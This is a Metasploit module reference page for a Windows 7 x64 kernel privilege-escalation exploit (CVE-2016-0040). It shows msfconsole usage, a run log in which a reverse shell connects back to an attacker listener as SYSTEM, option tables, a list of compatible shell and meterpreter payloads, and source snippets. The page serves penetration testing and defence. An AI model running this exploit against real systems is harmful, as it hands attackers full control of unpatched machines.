Windows WMI Receive Notification Exploit - Metasploit

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Module Overview

Name: Windows WMI Receive Notification Exploit
Module: exploit/windows/local/ms16_014_wmi_recv_notif
Source code: modules/exploits/windows/local/ms16_014_wmi_recv_notif.rb
Disclosure date: 2015-12-04
Last modification time: 2021-07-21 12:35:47 +0000
Supported architecture(s): x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2016-0040

This module exploits an uninitialized stack variable in the WMI subsystem of ntoskrnl. This module has been tested on vulnerable builds of Windows 7 SP0 x64 and Windows 7 SP1 x64.

Module Ranking and Traits

Module Ranking:

normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/windows/local/ms16_014_wmi_recv_notif
msf exploit(ms16_014_wmi_recv_notif) > show targets
    ... a list of targets ...
msf exploit(ms16_014_wmi_recv_notif) > set TARGET target-id
msf exploit(ms16_014_wmi_recv_notif) > show options
    ... show and set options ...
msf exploit(ms16_014_wmi_recv_notif) > set SESSION session-id
msf exploit(ms16_014_wmi_recv_notif) > exploit

Required Options

SESSION: The session to run this module on.

Knowledge Base

Introduction

This module exploits an uninitialized stack variable vulnerability present in the WMI subsystem of ntoskrnl. The vulnerability is described by MS16-014 and CVE-2016-0040. The module allows the user to elevate privileges (NT AUTHORITY\SYSTEM)

This module works against Windows7x64 SP0 and SP1 It was tested on and fails against Windows 8x64 - Windows 10x64 r1703

Verification Steps

[ ] obtain a session on the target system
[ ] set the payload
[ ] set the session
[ ] run

Scenarios

Windows 7x64 SP1

meterpreter > background
[*] Backgrounding session 0...
msf exploit(handler) > use exploits/windows/local/ms16_014_wmi_recv_notif
msf exploit(ms16_014_wmi_recv_notif) > set session 0
session => 0
msf exploit(ms16_014_wmi_recv_notif) > exploit

[*] Started reverse TCP handler on 172.16.38.170:4444 
[*] Launching notepad to host the exploit...
[+] Process 3948 launched.
[*] Reflectively injecting the exploit DLL into 3948...
[*] Injecting exploit into 3948...
[*] Exploit injected. Injecting payload into 3948...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Command shell session 2 opened (172.16.38.170:4444 -> 172.16.38.129:49695) at 2018-03-07 08:27:57 -0800

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\whoami
whoami
SYSTEM

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Msfconsole Usage

Here is how the windows/local/ms16_014_wmi_recv_notif exploit module looks in the msfconsole:

msf6 > use exploit/windows/local/ms16_014_wmi_recv_notif

[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms16_014_wmi_recv_notif) > show info

       Name: Windows WMI Receive Notification Exploit
     Module: exploit/windows/local/ms16_014_wmi_recv_notif
   Platform: Windows
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2015-12-04

Provided by:
  smmrootkit
  de7ec7ed
  de7ec7ed

Available targets:
  Id  Name
  --  ----
  0   Windows 7 SP0/SP1

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Payload information:
  Space: 4096

Description:
  This module exploits an uninitialized stack variable in the WMI 
  subsystem of ntoskrnl. This module has been tested on vulnerable 
  builds of Windows 7 SP0 x64 and Windows 7 SP1 x64.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2016-0040
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2016/MS16-014
  https://github.com/de7ec7ed/CVE-2016-0040
  https://github.com/Rootkitsmm/cve-2016-0040
  https://technet.microsoft.com/en-us/library/security/ms16-014.aspx

Module Options

This is a complete list of options available in the windows/local/ms16_014_wmi_recv_notif exploit:

msf6 exploit(windows/local/ms16_014_wmi_recv_notif) > show options

Module options (exploit/windows/local/ms16_014_wmi_recv_notif):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Windows 7 SP0/SP1

Advanced Options

Here is a complete list of advanced options supported by the windows/local/ms16_014_wmi_recv_notif exploit:

msf6 exploit(windows/local/ms16_014_wmi_recv_notif) > show advanced

Module advanced options (exploit/windows/local/ms16_014_wmi_recv_notif):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (windows/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependMigrate               false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                            no        Process to spawn and run shellcode in
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the windows/local/ms16_014_wmi_recv_notif module can exploit:

msf6 exploit(windows/local/ms16_014_wmi_recv_notif) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows 7 SP0/SP1

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the windows/local/ms16_014_wmi_recv_notif exploit:

msf6 exploit(windows/local/ms16_014_wmi_recv_notif) > show payloads

Compatible Payloads
===================

   #   Name                                                Disclosure Date  Rank    Check  Description
   -   ----                                                ---------------  ----    -----  -----------
   0   payload/generic/custom                                               normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                       normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                                    normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/windows/x64/exec                                             normal  No     Windows x64 Execute Command
   4   payload/windows/x64/loadlibrary                                      normal  No     Windows x64 LoadLibrary Path
   5   payload/windows/x64/messagebox                                       normal  No     Windows MessageBox x64
   6   payload/windows/x64/meterpreter/bind_ipv6_tcp                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
   7   payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
   8   payload/windows/x64/meterpreter/bind_named_pipe                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
   9   payload/windows/x64/meterpreter/bind_tcp                             normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
   10  payload/windows/x64/meterpreter/bind_tcp_rc4                         normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   11  payload/windows/x64/meterpreter/bind_tcp_uuid                        normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
   12  payload/windows/x64/meterpreter/reverse_http                         normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   13  payload/windows/x64/meterpreter/reverse_https                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   14  payload/windows/x64/meterpreter/reverse_named_pipe                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
   15  payload/windows/x64/meterpreter/reverse_tcp                          normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
   16  payload/windows/x64/meterpreter/reverse_tcp_rc4                      normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   17  payload/windows/x64/meterpreter/reverse_tcp_uuid                     normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
   18  payload/windows/x64/meterpreter/reverse_winhttp                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
   19  payload/windows/x64/meterpreter/reverse_winhttps                     normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
   20  payload/windows/x64/peinject/bind_ipv6_tcp                           normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
   21  payload/windows/x64/peinject/bind_ipv6_tcp_uuid                      normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
   22  payload/windows/x64/peinject/bind_named_pipe                         normal  No     Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
   23  payload/windows/x64/peinject/bind_tcp                                normal  No     Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
   24  payload/windows/x64/peinject/bind_tcp_rc4                            normal  No     Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   25  payload/windows/x64/peinject/bind_tcp_uuid                           normal  No     Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
   26  payload/windows/x64/peinject/reverse_named_pipe                      normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
   27  payload/windows/x64/peinject/reverse_tcp                             normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
   28  payload/windows/x64/peinject/reverse_tcp_rc4                         normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   29  payload/windows/x64/peinject/reverse_tcp_uuid                        normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
   30  payload/windows/x64/pingback_reverse_tcp                             normal  No     Windows x64 Pingback, Reverse TCP Inline
   31  payload/windows/x64/powershell_bind_tcp                              normal  No     Windows Interactive Powershell Session, Bind TCP
   32  payload/windows/x64/powershell_reverse_tcp                           normal  No     Windows Interactive Powershell Session, Reverse TCP
   33  payload/windows/x64/shell/bind_ipv6_tcp                              normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
   34  payload/windows/x64/shell/bind_ipv6_tcp_uuid                         normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
   35  payload/windows/x64/shell/bind_named_pipe                            normal  No     Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
   36  payload/windows/x64/shell/bind_tcp                                   normal  No     Windows x64 Command Shell, Windows x64 Bind TCP Stager
   37  payload/windows/x64/shell/bind_tcp_rc4                               normal  No     Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   38  payload/windows/x64/shell/bind_tcp_uuid                              normal  No     Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
   39  payload/windows/x64/shell/reverse_tcp                                normal  No     Windows x64 Command Shell, Windows x64 Reverse TCP Stager
   40  payload/windows/x64/shell/reverse_tcp_rc4                            normal  No     Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   41  payload/windows/x64/shell/reverse_tcp_uuid                           normal  No     Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
   42  payload/windows/x64/shell_bind_tcp                                   normal  No     Windows x64 Command Shell, Bind TCP Inline
   43  payload/windows/x64/shell_reverse_tcp                                normal  No     Windows x64 Command Shell, Reverse TCP Inline
   44  payload/windows/x64/vncinject/bind_ipv6_tcp                          normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
   45  payload/windows/x64/vncinject/bind_ipv6_tcp_uuid                     normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
   46  payload/windows/x64/vncinject/bind_named_pipe                        normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
   47  payload/windows/x64/vncinject/bind_tcp                               normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
   48  payload/windows/x64/vncinject/bind_tcp_rc4                           normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   49  payload/windows/x64/vncinject/bind_tcp_uuid                          normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
   50  payload/windows/x64/vncinject/reverse_http                           normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   51  payload/windows/x64/vncinject/reverse_https                          normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   52  payload/windows/x64/vncinject/reverse_tcp                            normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
   53  payload/windows/x64/vncinject/reverse_tcp_rc4                        normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   54  payload/windows/x64/vncinject/reverse_tcp_uuid                       normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
   55  payload/windows/x64/vncinject/reverse_winhttp                        normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
   56  payload/windows/x64/vncinject/reverse_winhttps                       normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)

Evasion Options

Here is the full list of possible evasion options supported by the windows/local/ms16_014_wmi_recv_notif exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(windows/local/ms16_014_wmi_recv_notif) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Session is already elevated
Exploit not available on this system.
Running against WOW64 is not supported

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Session is already elevated

Here is a relevant code snippet related to the "Session is already elevated" error message:

66:	    return Exploit::CheckCode::Appears
67:	  end
68:	
69:	  def exploit
70:	    if is_system?
71:	      fail_with(Failure::None, 'Session is already elevated')
72:	    end
73:	
74:	    check_result = check
75:	    if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown
76:	      fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')

Exploit not available on this system.

Here is a relevant code snippet related to the "Exploit not available on this system." error message:

71:	      fail_with(Failure::None, 'Session is already elevated')
72:	    end
73:	
74:	    check_result = check
75:	    if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown
76:	      fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
77:	    end
78:	
79:	    if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
80:	      fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
81:	    end

Running against WOW64 is not supported

Here is a relevant code snippet related to the "Running against WOW64 is not supported" error message:

75:	    if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown
76:	      fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
77:	    end
78:	
79:	    if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
80:	      fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
81:	    end
82:	
83:	    # invoke the exploit, passing in the address of the payload that
84:	    # we want invoked on successful exploitation.
85:	    print_status('Reflectively injecting the exploit DLL and running it...')

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References

Authors

smmrootkit
de7ec7ed
de7ec7ed

Version

This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

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Windows WMI Receive Notification Exploit - Metasploit

Module Overview

Module Ranking and Traits

Basic Usage

Required Options

Knowledge Base

Introduction

Verification Steps

Scenarios

Windows 7x64 SP1

Msfconsole Usage

Module Options

Advanced Options

Exploit Targets

Compatible Payloads

Evasion Options

Error Messages

Session is already elevated

Exploit not available on this system.

Running against WOW64 is not supported

References

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Windows WMI Receive Notification Exploit - Metasploit

Module Overview

Module Ranking and Traits

Basic Usage

Required Options

Knowledge Base

Introduction

Verification Steps

Scenarios

Windows 7x64 SP1

Msfconsole Usage

Module Options

Advanced Options

Exploit Targets

Compatible Payloads

Evasion Options

Error Messages

Session is already elevated

Exploit not available on this system.

Running against WOW64 is not supported

Related Pull Requests

References

See Also

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